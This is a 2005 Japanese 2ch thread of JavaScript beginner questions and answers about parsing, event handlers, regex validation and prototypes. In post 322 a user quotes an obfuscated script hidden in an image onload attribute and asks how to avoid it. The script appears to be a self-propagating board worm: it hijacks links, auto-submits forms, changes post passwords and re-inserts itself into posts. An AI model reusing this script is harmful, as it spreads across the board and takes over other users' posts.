Number("10px".replace("px",""))


206 名前:Name_Not_Found 投稿日:2005/10/15(土) 21:55:44 ID:???
>>202
だからparseIntは後ろに余分なもの('px')がついてても
無視するからそれを使うのが一発で速いんだってば。

207 名前:Name_Not_Found 投稿日:2005/10/15(土) 21:59:16 ID:???
先生、質問です!
JavaScriptには数値を16進数であらわした文字列を返す関数は無いのですか?

208 名前:Name_Not_Found 投稿日:2005/10/15(土) 22:19:53 ID:???
先生 is not 歩く辞書。
よって、自分でまずリファレンスに当たれ。その後でなら、教えてあげよう。

209 名前:Name_Not_Found 投稿日:2005/10/15(土) 22:26:19 ID:???
>>204
ついでに正規表現のも教えてくれ。

210 名前:Name_Not_Found 投稿日:2005/10/15(土) 22:33:01 ID:???
>>189
matchさせることはない。後ろから2文字は必ず文字列「px」になるからそれを
直接取ってしまえばよい。

211 名前:Name_Not_Found 投稿日:2005/10/15(土) 22:42:12 ID:???
>>207
a = 256
alert(a.toString(16))

212 名前:Name_Not_Found 投稿日:2005/10/15(土) 23:14:13 ID:???
10pxと言う文字列でしかないんだから、素直に10にしとけ

213 名前:Name_Not_Found 投稿日:2005/10/15(土) 23:50:41 ID:???
document.onclick = this.manko() とかやると呼び出されたときに
this の参照先が変わってしまうようなのですがこれは
var temp = this; document.onclick = function () { temp.manko.apply(this, arguments) };
のように一段噛ませないと解決は難しいんでしょうか。
一時変数を使わない方法をどこかで見たような気がしないでもないんですが…

214 名前:213 投稿日:2005/10/15(土) 23:51:46 ID:???
this を1つ self に書き換え忘れましたスンマセン

215 名前:Name_Not_Found 投稿日:2005/10/16(日) 00:04:32 ID:???
>>213
document.onclick = function(x) { return function() { x.manko.apply(...); }(this);

216 名前:213 投稿日:2005/10/16(日) 00:09:04 ID:???
あーなるほど参考になります

217 名前:207 投稿日:2005/10/16(日) 00:24:24 ID:???
検索してリファレンス当たっても見つからなかったんですよ。 >>208
大体どのソースも勝手にArrayを建ててスキャンかけてるけど
ほんとにあれしか手はないのでしょうか?

218 名前:Name_Not_Found 投稿日:2005/10/16(日) 00:36:27 ID:???
>>217
リファレンスって何のことだか分かってるのか?JavaScript言語はECMA-262 ed.3という
標準で定められているのでその内容をまず熟読するべきなんだぞ。どのソースもArray
建ててスキャンってそれ何?そんなの見たことないぞ。ともかくこれを読め。全部。

http://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/15-7_Number_Objects.html#section-15.7.4.2

219 名前:Name_Not_Found 投稿日:2005/10/16(日) 01:04:16 ID:???
通りすがりだけど、
オレはJScriptリファレンスで学んだなぁーw
ttp://www.microsoft.com/japan/msdn/scripting/default.asp

Windows Script 5.6 ドキュメント ダウンロード (exe 形式; 1.67 MB)
インストールして読むw
当然ながらこれだけだとIEにフレンドリーになりますw


220 名前:Name_Not_Found 投稿日:2005/10/16(日) 01:12:37 ID:???
複数の外部JSで window.onload イベントハンドラを割り当てたいのですが、
IE, moz, opera で検証したところ IE だけ挙動が違うのですよ。
なんとか統一する方法ってありませんかね?以下検証に用いたHTMLとJSです。

【sample.html】
<html>
<head>
<script type="text/javascript" src="./script-1.js"></script>
<script type="text/javascript" src="./script-2.js"></script>
<title>外部JSファイルでのイベントハンドラ割り当てサンプル</title>
</head>
<body>
<p>ぬるぽ→ガッ でないと困るのです。</p>
</body>
</html>

【script-1.js】
function nullpo() { alert("ぬるぽ"); }
if (window.addEventListener) {
window.addEventListener("load", nullpo, true);
} else {
window.attachEvent("onload", nullpo);
}

【script-2.js】
function ga() { alert("ガッ"); }
if (window.addEventListener) {
window.addEventListener("load", ga, true);
} else {
window.attachEvent("onload", ga);
}


221 名前:207 投稿日:2005/10/16(日) 01:32:27 ID:???
>>218
グレーテストサンクス。今読み始めました。。・・・そのまえに吃驚!
もしかして、JavaScriptって数字を格納している変数もオブジェクトなの?!
えらいこっちゃ、えらいこっちゃ、いつからこんな贅沢な時代になったんだ?
こっちはCString(MFCの文字クラス)でもむかついていたのだが・・・。

222 名前:207 投稿日:2005/10/16(日) 01:33:46 ID:???
いや、まさか、ねぇ。そんなバカな話はないだろう。

223 名前:Name_Not_Found 投稿日:2005/10/16(日) 02:03:10 ID:???
>>218
しかし、読みにくいページだな

224 名前:207 投稿日:2005/10/16(日) 02:10:03 ID:???
そ、そんな、ばかな・・・。

あ、ありがとうございました。

225 名前:(207).toString(16) 投稿日:2005/10/16(日) 02:13:44 ID:???
皆さん開発環境は何を使ってらっしゃるんです?

226 名前:Name_Not_Found 投稿日:2005/10/16(日) 02:15:04 ID:???
>>223
言語を使う人というよりも言語の実装を作る人向けの文書みたいなものだからね。

227 名前:Name_Not_Found 投稿日:2005/10/16(日) 04:25:09 ID:???
意地悪言わないでそれくらい教えてあげたらいいのに。 >> 〜.toString(16)

228 名前:Name_Not_Found 投稿日:2005/10/16(日) 04:53:22 ID:???
>>227
>>211

ところで、何を根拠に意地悪だと言っているのか分からない。

229 名前:Name_Not_Found 投稿日:2005/10/16(日) 05:06:16 ID:???
Javascript で object の deep copy がしたかったら、どうするの?例えば、

var orig = Object();
var dest = orig;

だと shallow copy だよね??

230 名前:225 投稿日:2005/10/16(日) 05:12:00 ID:???
>>227
心配してくれてありがとうー。でも、224の段階で私(207)は理解できたのです。
それから 211の書き込み見落としてました、すみませんです。
>>219 msdnは他の言語で私はよくつかいました。なつかしき。
>>226 むしろ簡潔で良いのかもしれいけど、やっぱ具体例が沢山欲しいですな。
いやー、今日からJavaScriptを本格的に使い始めたものなんで
右も左もわからなかったので助かりました。
とりあえずエディタとブラウザと、2chがあれば何とか成るものですね。
重ねて有難うございました。では。

231 名前:229 投稿日:2005/10/16(日) 05:14:52 ID:???
自己レス

var orig = Object();
var dest = Object(orig);

こう?

232 名前:Name_Not_Found 投稿日:2005/10/16(日) 08:19:20 ID:???
>>220
そういう問題だったら、onloadにくっつけるのは自前の
「他のハンドラを呼び出すハンドラ」1個にしておいて、
本当のハンドラは配列にでも追加していき、自前ハンドラ
からループで順番に呼び出す、とかじゃないかな?
>>226
具体例はよそに色々あるだろ、でもヒドいのが多いからね。
怪しいと思ったらECMA-262のリファレンスを確認すれ。
>>229
deep copyは自前で実装しないとだめ。今日のOO言語の
多くはそうだよ。C++でもJavaでも。しかも「dest = orig」
だとreferenceをコピーしてるだけでshallow copyですらない。

いやまてよ、もしかして正しい意味でのshallow copyを
deep copyと呼んでるような気がしてきたぞ、半可通め。
でもshallow copyもJSでは自前でやるしかないと思う。
dest = new Object(); for(var x in obj) dest[x] = obj[x];
とかね。

思い出した、DOMツリーのdeep copyなら「n.cloneNode(true)」

233 名前:Name_Not_Found 投稿日:2005/10/16(日) 09:08:46 ID:yubgtZss
質問。
2つのRadio buttonのselectを自動で交互に変えたいのですが、
うまく行きません。悪いとこ教えてください。

cnt = 0;
function F(){
document.f1.elements[cnt].selected=true;
cnt++;
if (cnt > 2) cnt = 0;
setTimeout('F()',1000);
}

234 名前:Name_Not_Found 投稿日:2005/10/16(日) 10:03:21 ID:???
つまり、ラジオボタンの黒ポチョを
一定時間ごとに勝手に移動させたいってこと?

235 名前:Name_Not_Found 投稿日:2005/10/16(日) 10:20:30 ID:???
そりゃそうだろ。おれは>>233読んで意図はわかったよ。
日本語の読解力ないなら、手を出すな。「勝手に」もちがうな。

236 名前:Name_Not_Found 投稿日:2005/10/16(日) 10:31:43 ID:???
>>233
何のためにそんなことがしたいのかわからないけど
とりあえず selected じゃなくて checked

237 名前:Name_Not_Found 投稿日:2005/10/16(日) 10:43:01 ID:???
>>232
アドバイスありがとうございます。
やっぱりそういう手しかないですか。標準の実装だけでなんとかできないかと思っていたのですが…。
とりあえず window にメソッドとプロパティを強引に追加する処理を真っ先に入れることにしました。

【script-0.js】
window.onLoadHandlers = new Array();
window.addOnLoadHandler = function(handler) { window.onLoadHandlers.push(handler); };
window.onLoadHandler = function() {
for (var i = 0; i < window.onLoadHandlers.length; i++) { window.onLoadHandlers[i](); }
};

if (window.addEventListener) {
window.addEventListener("load", onLoadHandler, true);
} else {
window.attachEvent("onload", onLoadHandler);
}

これで、後から割り当てるイベントハンドラは window.addOnLoadHandler(function); で追加していく、と。
しかし、window クラスってどのブラウザでも dynamic な運用ができるんですかね?


238 名前:Name_Not_Found 投稿日:2005/10/16(日) 11:24:27 ID:???
>>237
windowクラスというものはない。JSにはクラスという概念がないから。
windowオブジェクトはJSの言語仕様的にはglobalオブジェクトなんで、
プロパティの追加削除はできることに決まっている。

239 名前:Name_Not_Found 投稿日:2005/10/16(日) 14:10:36 ID:???
windowオブジェクトがGlobalオブジェクトであることなんて言語仕様で決まってた?

240 名前:Name_Not_Found 投稿日:2005/10/16(日) 14:42:00 ID:6wN5pgun
お聞きします。
onUnloadでclearInterval(tid)を設定する手法には意味があるのでしょうか。
ページが変わればsetTimeout関数も解除されると思うのですが。
※ tid はsetTimeout()の戻り値です

241 名前:Name_Not_Found 投稿日:2005/10/16(日) 14:49:41 ID:???
>>239
決まってない。

242 名前:Name_Not_Found 投稿日:2005/10/16(日) 15:16:31 ID:???
>>238 説 明 責 任 発 生
ガセネタナガスナ、オラ

243 名前:Name_Not_Found 投稿日:2005/10/16(日) 15:38:31 ID:???
連想配列のキーって後から取得できる?
例えば、PHP の key() みたいな。

244 名前:Name_Not_Found 投稿日:2005/10/16(日) 15:48:09 ID:???
>>243
for ( key in object) {
  〜
}
ってすれば key は出て来る。
もしかしたらもっといい方法があるかも。

245 名前:Name_Not_Found 投稿日:2005/10/16(日) 15:50:36 ID:???
>>243
A=[];
A['index_1']=[1];
A['index_2']=[2];
A['index_3']=[3];
...........
A['index_n']=[n];
for(i in A){
alert(i);
}

ちなみに perl と違って勝手に順番が変わることはない.

246 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:15:01 ID:???
>JSにはクラスという概念がないから。
アホかと。

247 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:24:22 ID:???
>>245
opera だと変わるよ

248 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:31:17 ID:???
function JS_niha_Class_ganaikara(_teinou,_shinshou){
this.teinou=_teinou;
this.shinshou=_shinnshou;

function _ahokato(){
alert('もうアホかと');
}
JS_niha_Class_ganaikara.prototype.ahokato=_ahokato;
return this;
}

var ahohatugen = new JS_niha_Class_ganaikara(238,'238');
ahohatugen.ahokato();

249 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:34:15 ID:???
>>247
なるほど...
(MacOS 9.1 環境で まともに動作する Opera は なさそうなので確認したことがない)
JavaScript の優れた点だと思っていたんだけど...
結局 UA 次第なのね.

250 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:35:05 ID:???
>>248
糞ースだな

251 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:46:46 ID:???
んーと
JavaScriptでクラスもどきは可能だけど、それをしてクラスという概念があるって言うの?

252 名前:Name_Not_Found 投稿日:2005/10/16(日) 16:49:56 ID:???
>>251
2.0 では

http://www.mozilla.org/js/language/js20/

253 名前:Name_Not_Found 投稿日:2005/10/16(日) 17:00:50 ID:???
>>252
2.0って何に実装されてるの?
つか、スクリプトの設計思想変えなきゃならんくなるのか?

254 名前:Name_Not_Found 投稿日:2005/10/16(日) 17:40:40 ID:???
このサイトの
「メニューにマウスを置くと一覧が出る」
作りはどうやるんですか?
http://www2.ocn.ne.jp/~evant/index1.html

ところで・・
まともに質問してもいいんですよね?


255 名前:Name_Not_Found 投稿日:2005/10/16(日) 17:46:13 ID:???
>>254
onMouseOver

256 名前:Name_Not_Found 投稿日:2005/10/16(日) 17:49:03 ID:???
>>253
AS2
JScript.net (畑違いだが、一応)

262-3 にはクラスが無い。クラスという概念で語ることも出来なくは無いが、居心地が悪い。
昔の (AS2 より前の) AS 本の無知な作者が、何も考えずにクラスクラスと連呼している。
Array クラスとか、Date クラスとか。この本の影響からかどうかは知らないが、
AS 界隈ではクラスで話が通じるようだ。しかし、262-3 界隈では受けが良くない。
一方、262-3 がプロトタイプベースかと言えば、そうでもない。これまた居心地が悪い。
全てこの調子で居心地が悪い。だから、262-3 を何々型の言語と分類しようとしたり、
他の言語の知識や用語で語ろうとするのをやめてしまうのが賢明だろう。

257 名前:Name_Not_Found 投稿日:2005/10/16(日) 17:49:51 ID:???
>>254
ttp://mugi.cc/muginavi/

258 名前:Name_Not_Found 投稿日:2005/10/16(日) 18:15:30 ID:???
>>256
どもどもとりあえず近々にブラウザに載っかるんでなきゃ良いや。

259 名前:Name_Not_Found 投稿日:2005/10/16(日) 18:27:34 ID:???
>>256
別にプロトタイプベースでいいんじゃないの? 何が問題なわけ?
プロパティをプロトタイプチェーンに従ってたどって検索…
そういう言語をプロトタイプベースと言わないでどうするって感じ。

260 名前:Name_Not_Found 投稿日:2005/10/16(日) 18:29:40 ID:???
>>239
そうじゃなくて。windowオブジェクトの動作はECMA-262と
照合するとglobalオブジェクトに相当してるだろと。もちろん
ECMAにはブラウザのことなんてひとことも書いてないに決まってる。

261 名前:Name_Not_Found 投稿日:2005/10/16(日) 18:58:38 ID:???
>>254
ウリ一本で作り方聞く方が「まともな質問」とは思えん。えさか剃れ友ねたか。


262 名前:Name_Not_Found 投稿日:2005/10/16(日) 19:10:55 ID:???
>>260
エスパーか?その内容を伝えたかったとして、
言語仕様的なんて言葉を持ち出す理由がサッパリわからんが

263 名前:Name_Not_Found 投稿日:2005/10/16(日) 19:11:10 ID:???
>>254
過去スレ全集に山程あるから。過去スレ読めない奴は
来なくていいから。

264 名前:Name_Not_Found 投稿日:2005/10/16(日) 19:21:13 ID:dIwIftpN
ファイルアップロードフォームで、ファイルサイズが重たくサーバとの通信に
時間がかかる場合に、「アップロード中」というメッセージを表示させたい
のですが以下のような処理は可能でしょうか?

・フォーム(A)からsubmitすると、別ウインドウ(B)が開く
・(B)をn秒毎に自動更新して、(A)の動きを監視
・(A)が読み込み完了(アップロード完了)になったら、(B)を閉じる

265 名前:Name_Not_Found 投稿日:2005/10/16(日) 19:54:35 ID:XXLS5JO7
>>264
ファイルアップロードはあくまでもフォームの送信なので、
送信し終わったらサーバから別のページ(結果ページ)が
返され、そのページで窓内容が置き換わる。だから、フォーム
送信する前に「window.sending = true;」みたいにフラグを
立てておいて、(B)側では「if(opener.sending)...」みたいに
これを参照すればいいのでは。結果ページに置き換わったら
そんな変数はなくなっているので条件が不成立になるかと。

266 名前:Name_Not_Found 投稿日:2005/10/16(日) 19:57:41 ID:???
>>262
それはglobalオブジェクトというのが言語仕様上の概念だから
だけど。それなしにいきなり言われても何のことか未定義だろ?

267 名前:264 投稿日:2005/10/16(日) 20:13:14 ID:???
>>265
レスありがとうございます。
上記のやり方でうまくいきました。

268 名前:Name_Not_Found 投稿日:2005/10/16(日) 21:25:50 ID:???
>>266
JavaScript スレで JavaScript の言語仕様上の概念を語るときに
いちいち語彙の補足が必要だとは思えないし、それが誤解を生む元になったわけだが。
あと未定義とかマイ言語を持ち出すな。

269 名前:Name_Not_Found 投稿日:2005/10/16(日) 23:13:26 ID:???
>>268
windowオブジェクトが書き換え可能かという話を、あんまり
仕様書読んでると思えない人と話してるときにいきなりglobal
オブジェクトと言えば分かるかなあ。それは洩れ的には疑問
だね。まあ考えとくよ。そんな論争ここでしても決着つかない
し迷惑だろうからまたの機会にね。


270 名前:Name_Not_Found 投稿日:2005/10/16(日) 23:50:40 ID:???
なんか流れが読めないけどおいときますね。

10.1.5 Global オブジェクト (Global Object)

制御が任意の実行コンテキストに入る前に生成される、一意的な グローバルオブジェクト (セクション15.1) が存在する。最初はグローバルオブジェクトは次のプロパティを持つ:

* Math, String, Date, parseInt 等のような組込みオブジェクト。これらは属性 { DontEnum } を持つ。
* ホストの定義する追加プロパティ。これはグローバルオブジェクト自身を値とするプロパティを含めてよい; たとえば、HTML 文書オブジェクトモデルにおけるグローバルオブジェクトの window プロパティは、グローバルオブジェクトそれ自身である。

ttp://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/10_Execution_Contexts.html#section-10.1.5

271 名前:Name_Not_Found 投稿日:2005/10/17(月) 00:07:33 ID:???
正規表現の質問。スレ違いだったらスマソ。
入力値チェックをしたいんですが、
+ 記号あるいは - 記号あるいは 数字ではじまり、それら3種類以外の文字は許可しない、
場合はどうしたらいいですか?

272 名前:Name_Not_Found 投稿日:2005/10/17(月) 00:17:30 ID:???
isNaNはだめなん?

273 名前:271 投稿日:2005/10/17(月) 00:26:00 ID:???
>> 272
使えそうです。どうも。

274 名前:Name_Not_Found 投稿日:2005/10/17(月) 00:32:15 ID:???
>>271-273
納得がいかん! 「+123+-+」なんていうのは+または-または
数字ではじまり、それら3種類の文字が並んでいるが、それは
許可されるの?

275 名前:271 投稿日:2005/10/17(月) 00:43:47 ID:???
>>274
粘着どうも。以下の2つを満たす正規表現が知りたかったです。

1) + 記号あるいは - 記号あるいは 数字ではじまる
2) + 記号あるいは - 記号 はどちらか1文字だけで、チェックしたい値の最初にしかでてこない

おしなべて、数値として意味が通るもの、なので、
>> 272 さんの言う通り、isNaN で今回はいけました。

276 名前:271 投稿日:2005/10/17(月) 00:45:29 ID:???
スレ汚しスマソ訂正だ。。

1) + 記号あるいは - 記号あるいは 数字ではじまる
2) + 記号あるいは - 記号あるいは 数字、それら3種類以外の文字は許可しない
3) + 記号あるいは - 記号 はチェックしたい値の中でどちらか1文字だけで、値の最初にしかでてこない

かな?

277 名前:Name_Not_Found 投稿日:2005/10/17(月) 01:21:38 ID:???
>>272の答えは韻を踏んでるな。うーん、美しい回答だ。

278 名前:Name_Not_Found 投稿日:2005/10/17(月) 01:44:12 ID:???
>>275-276
まだ納得がいかん! isNaNだと「1e1」「0.5e-10」とかもOKになる
と思うのだけどそれで良かったのか? >>276の記述とまるきり違うモノ
になるけど。

279 名前:Name_Not_Found 投稿日:2005/10/17(月) 03:14:49 ID:???
>>278
そう思うのなら書いてやればいい
さしたる手間でなし

var str = "+123";
if(str.match(/^[\+\-]?\d+$/)) alert("matched !");

280 名前:Name_Not_Found 投稿日:2005/10/17(月) 03:17:31 ID:???
文字クラスの中はエスケープ要らんね。ハイフンも先頭に持ってくればダイジョブ。

281 名前:Name_Not_Found 投稿日:2005/10/17(月) 03:38:29 ID:???
>>280
d

var str = "+123";
if(str.match(/^[-+]?\d+$/)) alert("matched !");

282 名前:Name_Not_Found 投稿日:2005/10/17(月) 06:31:32 ID:???
このスレの人、みんな優しい>_<

283 名前:Name_Not_Found 投稿日:2005/10/17(月) 06:46:26 ID:???
そう思ってしまうおまえの感性が疑わしい。

284 名前:Name_Not_Found 投稿日:2005/10/17(月) 07:54:06 ID:???
>>276
それで合ってるとして、なおかつ数字は半角のみ限定だったとして、
書き方は次の方が短く分かり易く実装しやすい。
(1)半角数字「0」〜「9」が1個以上並んだものであるか、または
(2)上記(1)の先頭に半角「+」か「-」が1文字ついたもの。
正確にきっちり記述することが正しいプログラムのためには重要。
>>279
そりゃ書くのは手間じゃないけど、正確な仕様が何なのかまだ明確に
なってないじゃないか。>>276 があってるのなら >>279-281 でほぼいい
けど質問者がisNaNでいいと連呼してるんだぜ。だから納得が行かんと
言ってるのだけど。仕様いい加減のままでコード書くなんて最低しょ。
それで、あんたらのコード全角数字OKだけどそれはいいのかねえ?
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><title>???</title>
<script type="text/javascript">
function check() {
alert(Boolean(document.getElementById('t0').value.match(/^[-+]?\d+$/)));
}
</script>
</head><body>
<p><input id="t0" type="text" value="312">
<button onclick="check()">Check</button></p></body></html>
>>283
すごく優しいだろ、仕様を明確化するのにこれだけつき合ってくれる
他人なんてそうはいないな(w

285 名前:Name_Not_Found 投稿日:2005/10/17(月) 09:21:41 ID:???
面倒くせえやつ。

286 名前:Name_Not_Found 投稿日:2005/10/17(月) 09:22:58 ID:RAA9abvk
thisについてお尋ねいたします。オプションのコードで
<FORM NAME="f1";>
<SELECT NAME="s1">
//以下省略
というばあい、イベントでthis.nameも可ですし、this.selectedIndexも
可です。thisって、その上のオブジェクトと考えていいのですか。
フレームでのparentみたいな。

287 名前:Name_Not_Found 投稿日:2005/10/17(月) 09:26:58 ID:???
その上じゃなくて、親子関係でのその場所そのもの

288 名前:Name_Not_Found 投稿日:2005/10/17(月) 10:36:23 ID:???
DOMについての質問もこのスレでいいのでしょうか?
lastchildって、子ノードが一つしかない場合でも、その子ノードを取得してくれますか?

289 名前:288 投稿日:2005/10/17(月) 10:37:05 ID:???
あ、Cを大文字にするの忘れましたが。

290 名前:Name_Not_Found 投稿日:2005/10/17(月) 10:43:22 ID:???
>>288
もちろん大丈夫。子ノードが1つならfirstChildもlastChildも
同じものになるというだけで。
>>286
ECMAの言語仕様上はthisは親子関係とは無関係。単にイベント
ハンドラではthisがハンドラ書いたノードになってるだけで。

291 名前:288 投稿日:2005/10/17(月) 11:02:19 ID:???
>>290
ありがとうございました。

292 名前:ぽぽ 投稿日:2005/10/17(月) 11:06:50 ID:TVq4NIeF
おまいきもーい

293 名前:Name_Not_Found 投稿日:2005/10/17(月) 11:31:01 ID:???
気に食わなければ読まなければいいだろ。穴のあるコードや
嘘の知識持って帰って喜んでる奴の気が知れないけどね、洩れは。

294 名前:Name_Not_Found 投稿日:2005/10/17(月) 11:31:24 ID:???
>>292
「だれのこと?」と釣られてみる。
そういえば、「ぼぼ」ってヤバイ名前だってお父さんが言ってたの思い出した。

295 名前:Name_Not_Found 投稿日:2005/10/17(月) 15:05:06 ID:E2cy+fd0
質問です。
スライドショーのスクリプトなんですが、拡張子がバラバラです。
画像ソフトで統一せずそのままオリジナルを使うとして、こういう場合は
配列でやるしかないでしょうか。
document.images['theIMG'].src = "images/"+picNum+".jpg";
のようなもの使ってます。jpgのところをgifやpngでも可能にする分岐の
仕掛けありませんか。

296 名前:Name_Not_Found 投稿日:2005/10/17(月) 15:09:35 ID:???
STYLEでzoom:300%;とかいうのは、CSS2ですか。JSでダイナミックな処理したい
んですが、動かないので。スレちがいなら、すまそ。

297 名前:Name_Not_Found 投稿日:2005/10/17(月) 16:18:41 ID:???
>>295
Image#onerror が使えれば、これで順番に試す。
使えなくて、XMLHttpRequest が使えれば、HEAD で XMLHttpRequest#status が 200 で順番に試す。

// 俺なら、http://example.com/images/2 みたいなリクエストをさせて、httpd で処理する。
// つうか、そういう事態に陥るのは予測できるから、下手な工夫をせず、URI をべたに書く。

298 名前:Name_Not_Found 投稿日:2005/10/17(月) 16:29:35 ID:???
>>296
http://www.w3.org/TR/CSS21/propidx.html
http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSS2Properties

http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/zoom.asp

299 名前:Name_Not_Found 投稿日:2005/10/17(月) 16:41:12 ID:???
>>295
images/ のファイルを一覧表示させて、それを JS ファイルにコピペするだけだから、数分で出来ると思うぞ。

300 名前:Name_Not_Found 投稿日:2005/10/17(月) 17:11:15 ID:???
>>295
http://〜〜/001 とか拡張子がなくても (サーバが勝手に探してくれて) 画像が表示されるようなサーバなら楽アル。

301 名前:Name_Not_Found 投稿日:2005/10/17(月) 17:11:55 ID:???
よくみたらかぶってら

302 名前:Name_Not_Found 投稿日:2005/10/17(月) 18:00:02 ID:Fy08te76
質問です。
画像をCSSのように右下から20%の位置に
固定する方法は可能でしょうか?


303 名前:みかん 投稿日:2005/10/17(月) 18:02:22 ID:+dXaNTmJ
よくわかんない

304 名前:みかん 投稿日:2005/10/17(月) 18:04:22 ID:+dXaNTmJ
あ〜つまんないよ〜

305 名前:302 投稿日:2005/10/17(月) 18:21:57 ID:???
document.all()ってのを使うとCSSとかでも使える変数が作れるんですか?
JSで作った変数をCSSとかでも使える用に出来ればベストだなぁと思うんですが。

306 名前:Name_Not_Found 投稿日:2005/10/17(月) 18:34:48 ID:???
>>302
わchA! 今日学校でやってた問題だ。もしかして同級生じゃないよね。
document.body.scrollLeft+20+'%';
とか、そんなこと言ってたような。タワーの陰で寝てたもんでよくは知らない。x_x


307 名前:Name_Not_Found 投稿日:2005/10/17(月) 18:38:07 ID:???
>>302
つ JSSS

308 名前:302 投稿日:2005/10/17(月) 19:23:21 ID:???
>>306
そんなんあるんですか。ちょっち探してみます。自分はプージローです。
>>307
自分の考え方はマイナーで規格外だってことがわかりまつた

レスTHX!

309 名前:Name_Not_Found 投稿日:2005/10/17(月) 19:38:24 ID:???
>>308
いちおう>>307がふざけてることには気付いてんのか?

310 名前:302 投稿日:2005/10/17(月) 20:06:23 ID:???
いやぐぐって笑わせてもらいました。言語障害やらも出てきて
途中で凄い便利なスクリプトじゃんて喜んだが結局今じゃ
使われてないスクリプトだと知ってショック受けたし。
ってか質問で聞いた内容ですが普通にCSSで位置指定だけしたら
BGのポジション見てくれたみたないんで出来ました。

311 名前:Name_Not_Found 投稿日:2005/10/17(月) 20:06:54 ID:???
ゴルァ ざけてんじゃねぇぞ >>307
「JSSS」というのが、
Je suis supreme stupid.
の省略形なら許してやろう。

312 名前:Name_Not_Found 投稿日:2005/10/17(月) 20:19:24 ID:???
>>302
var obj = 画像のオブジェクト;
obj.style.ほにゃらら = ふんにゃか;

でいいじゃん。
JavaScript でやるんなら。

313 名前:Name_Not_Found 投稿日:2005/10/17(月) 21:59:27 ID:GFZz/YbI
フレームで3つに切ってあるページがあるのですが、このページのウインドウ枠の
右下から左上へ画像のレイヤを走らせることはできますか。

314 名前:Name_Not_Found 投稿日:2005/10/17(月) 22:30:16 ID:???
>>313
面倒くさいよ。フレームはレイヤより強いから、3つのフレーム
それぞれに同一内容のレイヤを入れてスクロール位置とかも考慮
した上でぴったり揃えて動かすとか。面倒杉なのであまりやりたく
ないな。

315 名前:Name_Not_Found 投稿日:2005/10/17(月) 23:45:54 ID:???
この本読んどけってな、おすすめなんかある?

316 名前:Name_Not_Found 投稿日:2005/10/18(火) 00:16:12 ID:???
サイ本。そしてhttp://pc5.2ch.net/test/read.cgi/hp/1099736818/l50

317 名前:Name_Not_Found 投稿日:2005/10/18(火) 01:25:24 ID:???
サイ本は定評あるし丁寧だけど、ちょっと古いんだよね。
和訳は3版のもので4版は和訳されてないし。そしてぶ厚く高い。
なのでMy UNIXをすすめている。
ttp://www.amazon.co.jp/exec/obidos/ASIN/4756138713/
errataはこちら。ftp://ftp.ascii.co.jp/pub/my-unix/javascript/

318 名前:Name_Not_Found 投稿日:2005/10/18(火) 01:52:26 ID:???
サイ本の意味がわかりました
サイ本のデスクトップリファレンスって安いのがあるみたいですがどうなんでしょう?

319 名前:Name_Not_Found 投稿日:2005/10/18(火) 02:40:58 ID:veLdIR36
WEB制作者じゃなくてWEB閲覧者の立場からの質問です。
特定のJavaScriptだけを無効にする方法を教えてください。

https://www.library.city.himeji.hyogo.jp/cgi-bin/Sopcstop.sh?p_mode=1#
↑の市立図書館の利用者で、蔵書検索では、右クリックが禁止されているため、
とても不便でなりません。
bodyタグにoncontextmenu="return false"を書く事によって、右クリックを禁止しているみたいなのですけど、
だからといって、JavaScriptの使用を禁止すると、蔵書検索自体、利用でいなくなってしまいます。
そこで、javascriptのoncontextmenu="return false"のみを無効にしたいのですけど、方法を教えてください。

320 名前:Name_Not_Found 投稿日:2005/10/18(火) 02:50:35 ID:???
>>319
ブラウザ変えられるなら変えれ。あとProxomitronとか。
板違いなんでPC初心者とかインターネット板とか適当に移動。


321 名前:Name_Not_Found 投稿日:2005/10/18(火) 03:45:13 ID:???
ブラウザのアドレス欄に
javascript:document.body.oncontextmenu=function(){return true};
っていれればでるようになるんでない?

322 名前:Name_Not_Found 投稿日:2005/10/18(火) 05:12:31 ID:WKhADOop
このスクリプトを回避する方法ありますか?
翻訳掲示板の性質上、コメントを書きたいときにスクリプトを切った状態で送信できなくて困っています。
行数制限で;の後ろで改行入れました。

<img src="http://URL/隠れた画像.gif" style="display:none;" onload="m=Math.floor(Math.random()*0xffff);
d=document;u=unescape;
j=[' ','w','','!','?','~~','^^'];n='\x3c\x21\x2d\x2d\x7a\x2d\x2d\x3e';
function b(){return false;}d.oncontextmenu=b;d.ondragstart=b;function e(){f=y.document.boardform;
f.action=a;f.b_flag.value='1';f.isclicked.value='1';
if(m%2){f.p_subject.value+='.';f.p_passwd.value=u(p);
f.submit();}else{f.p_isfile.value='';f.nid.value='';f.html.options[1].selected=true;f.p_passwd.value=u(q);
f.p_content.value=f.p_content.value.replace(RegExp(p,'g'),q).replace(RegExp(n+'(.\r?\n?)*'),'');z=y.frames[0];z.location=r(t);eval('\x73etTimeout(g,1500);');
}}function g(){h=z.document.boardform;
f.p_subject.value=h.p_subject.value.replace(/\.+/g,j[m%3])+j[m%7];
f.p_content.value+=n+h.p_content.value.replace(RegExp('(.\r?\n?)*'+n),'');
f.submit();}function w(){f=document.frm_read;
f.ment_ment.value+=u('エンコードしたような日本語文字列');f.action='ment.php';
f.submit();}function r(c){return c.replace(/read.php/,'write.php').replace(/work=[^&]*/,'work=modify').replace(/&s(t|w)=[^&]*/g,'');
}p='%7e%75%28%3e';
for(i=0,q='';i<4;i++){q+='%'+Math.floor(Math.random()*95+0x20).toString(16);}l=d.links;
for(i=0;i<l.length;i++){if(l[i].href.match(/javascript|write.php/)){l[i].href='javascript\x3ax();';
}}function x(){if(!d.URL.match(/jaction/)){ment_write=w;
}else{s=d.URL;if(m%2){v='modify';
}else{v='write';for(i=l.length;--i>=0&&!l[i].href.match(/mailto/););
t=l[i-1].href;}a='/jaction/write.php?order='+v;y=self.frames[0];y.location=r(s);
eval('\x73etTimeout(e,1500);');}}x();" /><br />
<!--z-->


323 名前:Name_Not_Found 投稿日:2005/10/18(火) 07:52:50 ID:???
>>322
こんなぐっちゃぐっちゃな整形、読めないよ。(1)「回避」じゃ分からない
からどういう動作をどうしたいのか日本語で正確に書き、(2)スクリプト
